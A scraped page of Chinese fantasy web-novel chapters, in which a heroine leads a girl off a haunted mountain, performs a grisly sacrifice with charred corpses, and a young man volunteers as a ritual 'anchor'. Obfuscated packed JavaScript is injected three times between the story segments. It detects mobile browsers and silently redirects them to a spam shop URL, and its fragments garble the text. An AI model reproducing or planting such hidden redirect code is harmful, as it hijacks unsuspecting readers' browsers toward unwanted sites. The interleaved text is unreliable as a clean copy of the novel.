;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627293|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她走,伸出手要留住她,却发现自己动弹不得。 他后背仿佛浸在冰凉的井水里,骨头一寸寸结冰,耳边传来女子的低喃:“四弟啊,那晚撞见你,明明说好保密,放我走的,为什么最后抓我回来的也是你。” 刘达没法回答,他齿关都冒着寒气,一说话就哆嗦得不行。 不过女鬼似乎也没打算给他说话的机会。 他感觉身体的生机在一点点流失,整个人沉在一方窄窄的井里,井水寒冷刺骨,但更可怕的是头顶那一块小小的天空。 好像伸出手就能够到头顶的云,能顺着井沿爬出去,与迟来的春日撞个满怀。 可是他永远不会有下一个春日了。 就像她一样。 女孩走出祠堂时,身后又传来一声巨响。 泥像不知道被谁推落,摔到地上,四分五裂。 一块碎片弹落在女孩脚边,她抬脚辗过去,再抬起时,脚下只剩干裂的泥巴。 宋言在门口等她。 大黑狗乖乖蹲在宋言脚边,一看见女孩就飞了过去。 宋言却只站在原地,像来接小孩放学的家长,等女孩走近,才道:“事情都解决了。” 女孩点了点头。 前几日宋言说可以带她离开,女孩却觉得这是痴心妄想,先不说山路难走,进来容易出去难。就是祠堂和祭礼的存在,她便无法离开。 她是见过在外游子的惨状的,往往还要裹着草席送回山里下葬,否则即使死去,也是要闹人的。 宋言却道:“你只消说想不想。” 女孩犹豫半晌,最终还是点了头。 她最后回头看了一眼祠堂,黑黝黝的门像巨兽的口,再往里是胃袋,缓慢地蠕动、消化。不管是牌位,还是山神,都该消融在酸液里。 她于是很好奇,问道:“你是怎么让山神都听你话的?” 宋言摇头道:“不是山神听我话,是我现在就是山神。” 她降落在这里时,融合的新神格与后山共鸣,宋言循着指引找去,果然发现了一个隧洞。 那洞泛着五彩的光,是时空交叠的产物,宋言误入这段时间,为了恢复平衡,这段时间是要赶她走的。 不过看到后山坟地徘徊不去的鬼魂,宋言又有了另一个主意。 最开始修这片坟的是个狠人,直接把坟修在从前的山神庙头上,于是神鬼一屋,有庙镇着,再厉的鬼也无法兴风作浪。 山神也很恼火,他本是山精,天长日久生了灵性,这样给人当镇鬼石,脚便也在坟地生了根。 偏偏他还没法子惩治这帮孽畜,人家祭拜他,便是受了供奉,神灵是不能对信徒出手的。 这才是祠堂祭礼最开始的缘由。 山神虽然恼火,却也没有办法,直到宋言来了。 宋言有了神格,眼中所见大不一样。从前一靠近便觉得凉飕飕的坟地,此刻在她眼中,像一排排鸽子笼。 无数鬼魂被关在逼仄的空间内,逃脱不能。 宋言盯着那片坟地看了很久,忽然就笑了。 原来是这样。她还没学会如何控制眼泪的时候,一难过就来后山坟地哭,不管是她爹还是二叔,都对这这边心存忌惮,不敢来寻。 于是她可以得到片刻安宁。 她哭的时候,背后虽然凉飕飕的,但总感觉有人在拍她的肩,一下一下,像母亲在哄摇篮的婴孩。 因此她虽然害怕后山,但最难捱的时候,第一个想到的去处也是这里。 实在不行就把自己也一捧土埋了吧。 她有时候会这样想。 但是又不甘心,宋言想,凭什么她要去死,她恨的人却可以好好活着。 若是她有本事,就一把火烧了这里,这座山上,连水都没有一滴是干净的。 现在她果然本事见长,再回到坟地,她开始思考能用这些鬼魂干什么。 她们被同样的痛苦煎熬,被同一种命运捶打,许多人在地底,宋言一个人在地上。 于是山神神位更迭,那山精乐意极了,他失去了一个无足轻重的神位,得到的可是自由啊! 祠堂祭的不是她,自然也约束不了她。 即使是厉鬼,最多存于人间数十载,而后魂归天地,不入轮回。不过这些还徘徊在人世的鬼魂本来就无意再生,她们只有一个愿望——报仇。 宋言给了她们这个机会。 离开坟地前,她最后回头看了一眼,不起眼的角落里,女鬼佝偻着背,身形接近透明。她不是厉鬼,似乎也无意报仇,却似有所感,也在那一瞬间抬起头。 宋言感觉后背又被那双手拍了一下。 她脸上层层叠叠的皱纹舒展开,露出一个笑,随即张开嘴说了什么。 宋言心头刚刚燃起的火焰倏忽灭了,取而代之的是一大片空茫,她定定看着女鬼,想,她在说什么呢? 她说,不要为我难过。 她说,我有些担心你。 但我要走了。 女鬼在阳光下化为绮丽的泡沫,从脚部开始,被橡皮擦一点点擦干净,唯有那双眼睛,那双和宋言极像的眼睛,始终亮晶晶地看着她。 悲伤如铺天盖地的雪花,刹那间汹涌而至。宋言心里复仇的火焰被愈发壮阔的雪崩掩盖,她茫茫然站在原地,回望山崩处,只看到一地清白。 她说,我没什么能留给你的,就算有,也该是会让你看了难过的。 所以就不留了吧。 如果......如果还有见面的机会,还是不见来得好,你见我时总是哭,兴许是我身上的霉运传给你了。 大概我命不太好,自己受苦,女儿也受苦。 如果有下一世,不要再这么苦了。 129. 大结局(五) 129 * 狗能敏感察觉人的情绪,黑狗围着两人绕了几圈,大尾巴不要钱似的晃,鼻尖抽动,似乎闻到一丝不同寻常的味道,福至心灵,一屁股坐了下来。 顺道抬起乌沉沉的眼珠,在一大一小两个姑娘间转了转。 女孩不好出声打断宋言,便移开目光,回头看祠堂,深处鬼影幢幢,长长短短的绳子吊起来,在地上拖出一簇簇黑影。 蜡烛重新点上,灯花噼啪爆响,祠堂里逐渐冒出烟气。 宋言回过神来,道:“山上是不能呆的,天亮时祠堂的人全死了,只剩你一个,你说不清。” 女孩在走出祠堂时便想通了这个道理,但如果不呆在山上,她又该去哪呢? 宋言没有马上给出答案。 她趁着火势还不大,撇开女孩,反身走进祠堂,黑狗旋即便要跟着她跑进去,被女孩揪着尾巴抓回来。 她竖起食指,嘘了一声:“我们不要给人添乱。” 黑狗尾巴在她手里,想跑也跑不了,只好“嗷”了一声,老实了。 宋言出来的时候,拎着两具焦尸。 看不清面目,但女孩冥冥中知道他们是谁。 她只是不太理解,宋言再揪出来是要做什么,人既已死,再做什么,对方都是没有知觉的。 对方都没有知觉的报复,还能叫报复吗? 她跟着宋言到后山坟地,才明白这两具尸体的用处。 这是宋言准备的祭品。 女孩看着她找来剪刀和剁骨刀,先将焦尸腹部剪开,然后戴上手套把内脏一块块清理出来,红的白的堆到一边,火烧过的肉会有些柴,于是她又用剁骨刀把焦黑的部分剁下来。 她平静地清理干净内部,能掏的都掏了出来,不一会儿,女孩面前只剩下两张干瘪的肉皮。 做完这些,宋言才松一口气,想起旁边还有一人一狗,勉强扯出一个笑:“按理说我不该让你看到这些,但我太累了,没注意。你怕吗?” 女孩摇头:“死人没什么好怕的。” 黑狗蹲坐在一旁,也摇了摇头。 宋言便道:“那我便麻烦你一件事,你去找些瓜果肉脯来,做得到吗?” 这件事是好办的,女孩带着黑狗去附近山林转了一圈,兜了一裙子红果子回来,黑狗咬着一只野鸡的脖子,那只鸡已然断了气。 宋言手起刀落,把鸡料理了,满手是血,又去溪水旁净了手,才回到坟地。 女孩观察一阵,已经明白她要做什么,道:“我帮你吧。” 宋言:“你做这些晚上怕是会做噩梦。” 女孩笑了下,道:“杀人的生意我都做了,还怕晚上做梦吗?” 她拍了拍狗头,那狗莫名其妙被拍了两下,抬头望她,只听到她道:“要是真做了梦,我就提刀追着他们砍,指不定谁怕谁。” 宋言沉默一阵,擦干净剁骨刀柄,递给她:“那你来吧。” 这剁骨刀长度到女孩大腿,她挥得有些吃力,但一想到刚才在梦里提刀砍人的豪言,她便把这点辛苦和水咽下了肚子。 她先把这两具焦尸的四肢剁掉,只留掏空的腹部。然后拿刀尖挑开腹部中线,一个个把捡来的红果子塞进去。 黑狗在一旁将果子叼给她,一个叼,一个塞,速度飞快。 这其实是正月祭神的做法,将畜生——通常是猪,腹部掏干净,去掉四肢,里头塞上瓜果肉脯,最后由几个汉子抬上祭台。 女孩做完这些,宋言的鸡也烤好了,宋言把一整只鸡塞进另一个肚子,这只猪腹部顿时胀了起来。 之后她又取来针线,把两份牺牲一点点缝好。 这里没有祭台,只有经年累月被染成深红色的坟土。宋言找到一个偏僻的角落,将两头猪埋了进去。 离过年还早,圈里只有小猪崽,但宋言觉得,她想祭拜的人应该会更喜欢她炮制的这份牺牲。 那人有一句话说错了。 不是她命这么苦,是她被害得这么苦。 宋言想着这些,点起一堆火,黄纸烧成灰烬,风一吹,洋洋洒洒飘向山下,浮在溪水上,被水波推去很远的地方。 如果真有下一世,但愿你能得偿所愿。 宋言烧完纸钱,拍了拍手,便道:“走吧。” 女孩连忙带着狗跟上。 暮色四合,树影幢幢,两人一狗走在山路上,林间时常响起野兽嚎叫。 女孩听着像狼,但那匹狼被黑狗吼回去,她又觉得不像了。 山路并不好走,不小心便会踩到松软的泥巴陷进去,茂密的灌木丛下,掩盖着嶙峋乱石和猎人的陷阱。在女孩第三次差点摔倒时,宋言提出在水边休整。 月色霜白,她掬了一捧水洗脸,见宋言望向另一边,又脱了裙子到水中洗澡,洗完后揪来自愿站岗的黑狗,给它也从头到尾洗了一遍才罢休。 这份清凉也是很难得的,她想,从前在山上的时候,她家并没有通自来水,二叔的屋子他一个月才回几次,也没有通的必要,于是她想洗澡便只好去溪边打水。 夏天还能凑合,可到了冬天,溪水冰凉刺骨,她单是从河边挑水回来,手指关节便僵了,后来生起冻疮,皲裂感染,她冬天也就不敢洗澡了。 不喜欢呆在山上,可是也不敢下山,不单因为诅咒,还因为山路艰险难走,人家说山间会有狼把她叼了去,而她确实也没听过有人独自成功下山的消息,也就一直不敢下山了。 但是今夜跟着宋言下山,却顺利得像是个梦。 如果是梦,也不要叫醒她的好。 女孩靠着块石头,这样慢慢想,水声潺潺,她几乎要睡着了,却听到宋言道:“这不是梦。” 她旋即揉了揉眼睛,睡意四散,明白是自己刚刚不小心把心里话讲出来了,低声道:“我知道这不是梦。” 她指着自己道:“我是一时高兴过了头,我以前没有这么开心过。” 宋言道:“你以后会一直这么开心的。” “寒冬过去,你前面便是明日昭昭了。”宋言摸了摸她的头,掌心传来毛茸茸的触感,“所以开心一点,你从现在开始开心,以后就都是开心的日子了。” 女孩似懂非懂地点了点头。 宋言却哑然失笑,这是她从山上下来,第一个平静之外的表情。 她心里觉得好笑,原来这句后来一直被她吐槽的鸡汤,正是出自她自己之口。 也难怪她一直记了那么久。 想到这里,宋言又轻轻叹了口气:“也可能你的明日并不昭昭,但终归是掌握在你自己手里,只要你还能动弹,就能自救。” 她感叹道:“其实人也只能救一救自己。” “但是这和你没有什么关系,你还小,这种责任就让大人来担吧。” 女孩又点了点头,俨然很理解宋言说的,但宋言显然更了解自己的脾性,她骨子里是那种无论如何不愿示弱的人,就算听着从未了解的东西,也会装成不过如此的样子。 这狗脾气自己揣着不觉得有什么,可在别人身上看到,宋言忍不住笑出声来,溪水压不住她的笑声,碎铃般在林间回荡。 她点了点女孩鼻尖,给她兜头套上一个毛绒帽子:“晚上凉,你要睡也找个避风的地方睡。” 于是黑狗也被塞进女孩怀里,她抱着这一团热烘烘的活体毛绒玩具,倦意竟然慢慢爬上来,在月色水声中阖上了眼。 女孩醒来的时候,天已经快亮了。 宋言又牵着她走完剩下半截山路,下山后沿着公路再走数十公里便是县城。她们途中遇到一辆牛车,车主是个热情爽朗的女人,愿意捎她们一程。 车主坐在牛背上,不时和宋言扯些闲话,宋言一一答了,女孩只坐在车上,靠着货物和黑狗憩息,又觉得这简直顺利得不像话。 她这点怀疑果然在进城后落实了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13650903|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋言带她到公安局,她和黑狗被留在公安厅里,这对女孩和狗的组合马上得到了工作人员的注意,一个女警给她抓了把薄荷糖,她没有要。 于是那人又给了她一杯水,这次她喝了。 喝人家一杯水应该没什么,她一晚上没喝水,也确实渴了。女孩喝了半杯,又把水杯凑到黑狗唇边,剩下半杯水咕噜咕噜全进了狗肚子,旁边围观的女警都笑起来。 宋言办好手续出来的时候,看到的就是这副场面。 一群女孩子中间,坐着个小姑娘,小姑娘抱着只狗,她们都望着这只狗笑。 小姑娘也在笑,她脸上露出一点微笑,弧度漂亮得像画上去的。 宋言从缝隙间穿进去,半蹲在女孩身边,一片笑声中,她的声音很清晰:“手续办好了,你之前没有入籍,户口现在先挂在县里的福利院,之后会有人安排你上学。” 这是个很妥当的安排,女孩再次点头。 点完头,她犹豫了下:“那你呢,你去哪里?” 宋言:“我有我该去的地方。” 对宋言来说,时间轴不是一条可以回头的路,它只是一个个坐标,她必须在一个个坐标间跳转,直到死亡或者新生。 这没必要明说,但她和秩序都默认这一点。 之后她便带女孩去玩具店,这是县里最大的儿童商店,橱窗摆着各色玩偶,如果对照宋言的见闻,这只是个标准店,但在县城已经是很多孩子的梦想。 也曾经是她的梦想。 女孩目光在两个毛绒玩偶间移动,一个是浅绿色恐龙,另一个是粉白兔子,她对比了下二者价格,最后选了那只恐龙。 旋即那只兔子也被人拎着耳朵放进提篮里。 女孩道:“买这么多,我去福利院......都没地方放的。” 而且粉白色的东西,很容易弄脏,福利院不知道有没有地方洗兔子。 宋言拎着兔子耳朵:“我问过的,福利院孩子并不多,你可以一个人住。” 她低头看了一眼,黑狗尾巴不要钱似的摇,于是道:“也可以带一只狗住。” 女孩就不再反对了。 玩具店墙上装有落地镜,一大一小两个人映在墙上,其实很相似,但单独来看,没有人会发现这一点。 女孩五官尚未长开,身形消瘦,显出莲般的清丽来。但宋言不是这样,她五官比例仔细看去,和女孩很像,但你绝不会觉得她像莲,在已知的任何花卉中,都很难找出一种譬喻。 玩具店不止有玩具,老板显然很有野心,还想着做些别的营生,低处摆着孩子喜欢的玩偶,高处便是供家长挑选的儿童用品。 宋言专心挑了些女孩用得着的,放进篮子里,女孩却转过头,偷偷瞧两人在镜子上的影像。 那一刻她福至心灵,脑子里忽然冒出一个合适的譬喻,她觉得她们就像一大一小两只鸭子,摇摇摆摆游进湖海,陆上熙熙攘攘,但这都与她无关。 走出玩具店时,天色阴沉,隐隐有下雨的迹象,宋言把女孩送到福利院门口,之前联系好的人已经在那里等着。 这下女孩心里终于生出一点实感,但她也马上意识到,她那种飘乎乎的感觉,其实是一种预感。她隐隐知道,这个人的去就和留一样,并不是她能决定的。 女孩被交到院长手里,却没有马上和她走,她站在原地,隔着栏杆,认真道:“我们还会再见的。” 宋言望着女孩莲般的面庞,觉得她认真说话的样子很可爱,笑道:“你怎么知道呢?其实不再见也没什么,你看童话故事里,仙女教母也是为公主找到了幸福,就离开的。” 女孩摇头:“那不一样。我的预感一向很准,我觉得我们有一天会再见面,那就算我七老八十走不动了,出门摔一跤都会摔到你身上。” 这话就太小孩子气了,宋言没放心上,只顺势点了点头。 背后传来犬吠声。 她没有回头。 130. 大结局(六) 130 * 帝都这几日没有出过太阳,梦游者那一场催眠仿佛将太阳也囊括进去,几乎所有人和动物都被迫陷入长眠。 这座大灾变后最繁华的安全区就此停摆。 但权力还在运行。 只不过权力中枢自前几日大清洗后,许多地方都换上了新面孔,甚至就连无数人隐隐关注的“太子”,也平白多出一个候选。 这位新太子生平可谓跌宕起伏,十二岁被鬼面拐走,结果没死在荒野上,反而全须全尾地回来了,出现的时机也相当微妙,据知情人爆料,议会厅灯火通明的那个夜晚,这位十三年未曾现身的前小王子也在。 能在大清洗中硕果仅存的几家,别的本事没有,但揣测沈桉心思的本事是一个赛一个道行高。 马上便有不少人见风使舵,想探探这位新候选口风,可他们马上发现,上不上得了船是一回事,找不找得到船又是另一回事。 这倒不怪他们,因为这几天姜夜白确实没阖过眼,一直在议会厅、刑狱司和军部之间打转,用沈桉的话来说,就是人员紧缺,恰逢动乱,既然来了,也该当个人使了。 梦游者再次见到他的时候,忍不住惊呼:“他这不是把你当人使,是把你当驴使了吧。” 梦游者以前是人,现在算半个畸变种,什么大风大浪没见过,一般不会惊讶,除非碰见鬼。 姜夜白现在的脸色确实和鬼差不多。 宫应在一旁道:“人三天不睡觉精神会开始失常,异能者是五天。他已经连轴转十天了,呵呵,驴也不这么拉磨。” 这几天帝都那晚后续动乱基本平定,胭脂坊一线被查封,鬼面被端了老巢,后者还是姜夜白亲自带着刑狱司的人端的。 宫应那天也在,他认识青木,长年跟着沈桉,也或多或少了解内情。 所以在看到青木的尸体,被泡在福尔马林内,里面还浮着几块木雕碎片时,他觉得自己应该高兴,却也没那么高兴。 高兴是因为他讨厌一切和姜维有关的人和事,沈姝除外;但真的看到故人远行,哪怕他讨厌这人,心里也忍不住生出一丝惆怅。 同一年代的人一个接一个消逝,就好像在提醒他,他也不年轻了。 姜夜白却没有丝毫反应,仿佛这个死人不是曾经劫走他的鬼面首领,也不曾在十三年里给予他温情与猜忌。 他就只是,把赃物和尸体清点好后,运回刑狱司而已。 这点宫应觉得他像沈姝,沈姝也是喜怒不上脸的性子。宫应觉得自己该感到高兴的,沈桉让姜维的儿子暂时给自己当副手,他起初并不乐意,这不是给他添堵吗?可是带着带着,宫应也发不起脾气来。 因为他发现这不是姜维的儿子,而是沈姝的儿子。 这个事实让宫应再看姜夜白的时候,便忍不住带上长辈的眼光了。 他难得语气和蔼:“你该休息一下,刑狱司的事务已经处理得差不多了。” 今天处理的是最后一批囚犯,刑狱司办事,一直是先重后轻,这批最轻的,是那晚军部从胭脂坊拿的人,处理完这批,刑狱司确实也没什么事了。 姜夜白提着一盘钥匙,按顺序选出几把,打开金属锁。 他一个接一个念出号码牌,被念到的自动出列,分成泾渭分明的两条线。 胭脂坊里面的人本来就不太干净,那晚虽然是不问缘由地抓人,但刑狱司一查,还真掉出来不少脓包,于是乐了,洗议会厅也是洗,洗胭脂坊也是洗,宫应这人又一向宁可错抓不可放过,移交到刑狱司手里,胭脂坊以后估计要改名清水坊。 而姜夜白念出的这一排数字,就是筛选后被放出来的普通细胞。 最后出列的是一个胖乎乎的树墩。 姜夜白清点完人数,宣布他们登记完就可以离开后,这群人久旱逢甘霖,精神顿时振奋起来,恨不得把这几个长官当菩萨供起来。 不过他们的振奋也挺萎靡的,毕竟被关了十多天,激昂一瞬,又觉得也没什么好骄傲的,被扫黄扫进来,又被扫出去,真是提起□□转圈,四顾茫然。 人群稀稀拉拉散了,只队伍末尾的胖墩迟迟没走,宫应没那个耐心,转眼就要锁上门。 这人才屁颠颠跑出来,期期艾艾,不是对着扑克脸的宫应,而是脸色奇差的姜夜白。 他做足了心理建设,才抬起头,却先吓了自己一跳。 无他,实在是因为,他这个头儿,脸色太差了。 姜夜白眼球布满血丝,唇边冒出一圈淡青色的胡茬,眼下黑眼圈浓得像画上去的,还是鬼画皮流派的画法! 胖墩怔愣了下,听到对方说:“什么事。” 姜夜白语气很淡,也没什么表情,但胖墩莫名有点怵他,一想到自己干的事,又觉得自己落到这个地步也是活该。 他这边犹豫着,对方已经不耐烦了,重复道:“没事散了吧,回自己家去。” 胖墩胆子只好大起来,踌躇道:“头儿,我不是故意......也不是,这怎么说呢,真要说起来就太长了。” 姜夜白平静道:“太长就别说了。” 胖墩烦躁地挠了挠头,勇气一下子又全缩回去,小声道:“可是,头儿,你让我回家,我也没家可回啊。” 他和姜夜白都是没有家的人,在荒野,最开始鬼面内部也不太待见他们,物资要自己抢,食物要自己烧。于是姜夜白烤鱼技术愈发纯熟,虽然胖墩喊他一句头儿,但多少条鱼被姜夜白捉上来,却进了他肚子,胖墩比谁都清楚。 因为这份情谊,胖墩也很难说服自己完全把姜夜白当作敌人。 可是他哥哥也不能白死。 他脑子太笨,实在想不出两全的办法,只好一边做伊莱交代的事,一边给鬼面打工。 他心存侥幸,万一船到桥头自然直了呢? 可惜没有这个万一。 姜夜白面容疲倦,看都没看他一眼,似乎精力已经到了极点。 他确实也是累极了,但在人前又不愿显出疲态,思索片刻,给出建议。 胖墩听到他道:“那你去找个宾馆住吧,这个点入住,还能打折。” 胖墩忽然就明白了“仁至义尽”是什么意思。 这个词还有个写法,叫恩怨两清。 他以前担心头儿不原谅他,恨他,其实也是一种一厢情愿。不管是爱,还是恨,都需要浓烈的情感支撑,但更多时候,就是算了。 算了吧,都到这个地步了,何必呢。 他望着姜夜白越来越远的背影,心里涌上一阵说不清的难受,像细雪落在沙地上,一片空白。 姜夜白的影子也在这场雪里越来越小,孤零零一个,亲缘、友缘尽数断绝,地上只留下一串轻飘飘的脚印,又马上被新雪覆盖。 胖墩就站在那里望着,心想,人和人的缘分大概就是这样,立场相悖,身份不同,就很容易走到死胡同。如果给他一次机会重来,他......大概还是会选择现在这条路。 那便望君珍重吧。 胖墩朝那个方向深深鞠了一躬,肥胖的身子艰险地完成这个动作,随即挺直脊梁,离开刑狱司。 * 万事尘埃落定,姜夜白终于抽出一点空收拾自己。 梦游者看不下去,递给他一条毛巾,擦干净脸上的水后,终于有了点人样。 宫应抱着那点奇妙的恻隐之心,破天荒劝他:“你晚些要见议会长,不如先睡一觉,脸色也好看些。” 这些天俗世的事是料理得差不多了,至于更高层次,宫应知道那不是自己能接触的范围,反正沈桉惯会把大事抓在手里,这么多年,他已经习惯了。 所以那晚姜夜白闯入议会厅,要求见那一位时,宫应心里嗤笑,这简直是另一个姜维,莽撞、冲动,沈桉不爱解释,尤其是涉及那一位的事情上,他简直像个专制君主,连亲侄子沈溯都要被他扔回去。 但那晚沈桉破天荒没有三缄其口,他似乎早料到有这一出,甚至那晚门卫室的值守都很松,就像是他知道今晚一定会有许多不速之客光临议会厅一样。 沈桉把事情交代下去,这对多年不见的舅侄之间,瞬间建立起难言的默契,虽然宫应并不知道这默契是什么,但不妨碍他想到另一个人——沈姝。 当年议会长也是这样对他妹妹的,要求她交好姜维,将她嫁给这个暴君,如果说最开始宫应还恨屋及乌,那么现在,他心里那点怜悯又泛了上来。 他们都是这位议会长手中的棋子,也许还有更高的执棋人,但终归棋子是没有办法的。 想到这里,宫应心里对沈姝微末的怨怼又消了下去,取而代之是无边的怜悯与爱护,可是沈姝人还在万里之外赶路,这点爱护找不到发泄口,只好落到人家儿子头上。 但在梦游者看来,这就很惊悚了。 前几日出口不是阴阳怪气就是嘲讽的宫将军,这几日竟然开始关心人。而这个宋言托她交代的“后事”,去了一趟议会厅后,恨不得一天掰成八天用,梦游者这几天看着他连轴转,总觉得他是在赶着完成什么任务。 又或者,是在赶着去见什么人。 姜夜白叹了口气,拒绝宫应的好意:“不了,先前议会长说等帝都安定下来,我要问的事便有答案,现在船到桥头,没有再等的道理。” 宫应便随他去了。 姜夜白拾掇完自己,脸色好看多了,至少不是一副刚从忘川爬上来的样子,方才走进议会厅。 恰好沈溯从里面出来。 姜夜白对这人印象不深,为数不多的记忆全埋在十三年前,或者说,帝都这群人里,能让他记得的也没几个。 但沈溯不是。这几日“太子党”的谣言传得沸沸扬扬,虫子般钻进沈溯耳中,任是他闭目塞听也无用,于是在出门时看到这个烦了他好几天的人堂皇走进来,不自觉多看了他几眼。 姜夜白莫名其妙。 他也没心思和沈溯掰扯,眼皮一搭就进去了,留沈溯一个人站在门口当门神。 ......这么嚣张? 沈溯心中涌上一阵憋闷,上次议会厅宋言无视他就算了,现在突然冒出来一个表弟,也这么张狂? ...... 姜夜白还不了解自己在谣言和沈溯心中成了什么样子,就算知道,估计也不太在意,因为他现在最在意的是沈桉前几日的承诺。 或者说,是那一位的承诺。 即使梦游者阻止,他思来想去,那晚还是跑去了议会厅,不过他去晚了一步,那边的仪式已经完成,他没见到想见的人。 沈桉见到他也不惊讶,告诉他其实他也在那一位计划之中,如果不是因为这个,他早在到帝都的第一天就会被带来议会厅谈话。 姜夜白顿时明白了沈桉想说什么,直接问道:“如果我回到帝都这件事也是你们的计划,那么现在需要我做什么呢?” 沈桉眉尖轻微抽了下,似乎没想到他能这么快接受,他微不可觉地梗了下,道:“你是个很合适的锚点,那一位希望你能帮助一个人稳固她的自我认知。” 这个词今晚已经是第二次听到,姜夜白挑眉道:“锚点?为什么是我?” 沈桉这时候更像个传话筒了,他道:“对于前者而言,是因为前世今生;而对于后者,则是因为前者的缘故。” 他又道:“其实让你当锚点并不是坏事,那一位告诉我,你今夜就是为了这事来的。” 姜夜白蓦然抬头。 他不知道沈桉是如何和那一位沟通的,直接道:“既然两件事是一件事,那我明白祂要我稳固的人是谁了,我要如何做呢?梦游者说她进入了时空乱流,我是要进去找她吗?” 沈桉眉尖又抽了下,半晌没有言语。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666866|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>姜夜白以为他是在和那一位沟通,也没有出声,安静等着。 良久,他听到沈桉说:“等帝都安顿下来,你先跟着宫应,学学怎么做事,不然我也不敢放你去给祂干活。” 这一学,就学到了今天。 比沈桉预想得要早些,他原本估计刑狱司那边的工作量,应该也要一个多月才能处理完,到时候姜夜白未必想得起来这事。 虽说他是秩序定下的锚点,但锚定这件事也有讲究,在外面当坐标也是锚定,下放到时空乱流也是锚定,秩序最开始想的是前一种,但在那一夜后,秩序又多出一种想法。 沈桉觉得这想法有些危险。 虽说他也是这个计划的受益者,但他尚且存有一点良心,如果选择后一种锚定,秩序并没有明说,但沈桉估摸着这个锚点,就是一次性的了。 他今天穿着日常服饰,看上去比平常年轻些,让姜夜白坐到他身边,厅堂正中是摆好的仪式材料。 姜夜白觉得这场面有些眼熟,后知后觉想起,之前宋言也总是用这种方法进入天赋塔。 他那时想着,果然在塔里没办法移动是自己的原因,但是一会儿又觉得爬塔也没什么意思,底下的人想上来,可上面什么都没有。 他看宋言爬塔,又想是不是她的塔不同些。 不过这话他也没来得及问出口。 姜夜白在沈桉身边坐下,直入正题:“现在启动仪式吗?” 沈桉指节轻叩桌面,顿了顿,道:“再等一刻钟吧。” “行。”姜夜白道。他靠着椅背,垂下眼睛,目光落在不知道什么地方,可能是自己鞋带上,沈桉看见他的神态,心里便生出一丝不忍。 这不忍他归咎于自己年纪大了,他这一代的兄弟姐妹死的死散的散,他也就和沈姝亲近些。 所以看着年轻人的眉眼,他就不自觉想到这个妹妹。 沈桉喉头动了动,道:“帝都现在还算安定,就算你是祂指定的锚点,也不必这么着急。” 姜夜白眼睫动了动。 沈桉又道:“外面对于十三年前的事,说什么的都有,我虽然觉得解释很无力,也觉得你也许在憎恨我,但我还是想告诉你——我最初并没有想害你。” 姜夜白怔了下,随即笑了:“我没什么恨,就算曾经有过,现在也没了。” 或许在荒野上的十多年里,在某些辗转难眠的夜里,他是曾经想去恨沈桉的,他身边的所有人也都鼓励他去恨他。 如果他的不幸要找一个出口,沈桉无疑是在明的靶子。 可是回到帝都后,他的想法又变了。 恨沈桉这件事不再是情绪出口,而是一件他被推着去做的事情,胖墩要他去恨,青木要他去恨,只有叶箐从未发表过意见。 那是因为叶箐事情多得很,根本没空隔三岔五耳提面命。 姜夜白回过味来,觉得这份恨也像隔夜的馊茶,青木和胖墩都有理由恨沈桉,可是他有什么理由呢? 恨他害死了姜维,恨他间接导致自己流亡荒野吗? 可姜夜白仔细在心里盘了一遍这事,觉得这恨也不成立,不管是哪一方面的恨,好像都是多方面的结果,并不是单单恨一个沈桉就能结束的。 于是他又变成了没有目标的人。 没有目标并不是坏事,但对一个自小耳濡目染仇恨的少年来说,一下子把这些东西全都推翻,也就仿佛把骨血中某些东西抽离了。 好在他在“遗忘”这方面很有天赋。 青木和胖墩都有他们的宏图大业,但姜夜白却觉得人贵自知,于是他开始在生活中找乐子。 他觉得宋言就挺乐。 他靠近宋言,最开始是好奇,这人太坚韧了,好像打不死的小强,可是好几次她真的要死了,他心里又觉得难过。 还有点不可置信。 也不知道为什么,他心里一直觉得这人和他见过的所有人都不一样,于是他愈发好奇,心里揣测她的来历,拿这个当智力游戏,自己和自己玩。 后来真的从沈桉嘴里得知了她的来历,一边恍然大悟,一边又觉得理应如此。 可是谜底揭晓时,他发觉还不如不知道呢。 如果不知道,他就可以把这个游戏乐呵呵地玩下去,宋言是个凡事不爱多说的性子,他觉得这反而增添了游戏的趣味,每天猜她喜欢什么,想吃什么,今天几点下班,这多好玩。如果猜中了,说明他今天运气不错;要是错了,或许明天运气会好起来呢。 姜夜白心里觉得好笑,又觉得自己有病。 于是他叹了口气,道:“一刻钟过去了,仪式开始吧。” 沈桉见他并没有回头的意思,揭过话题,微微摇头:“这个世界需要执棋人,也需要无畏者。你爹......姜维是个英雄,虽然没多少人知道当年的内情,但他确确实实是为了帝都才离开的。” 虽然眼前人样貌更像沈姝,但沈桉此时从他身上,依稀看出姜维当年的影子。 谁知姜夜白眨了眨眼,道:“我不是为了帝都才自愿当锚的。” 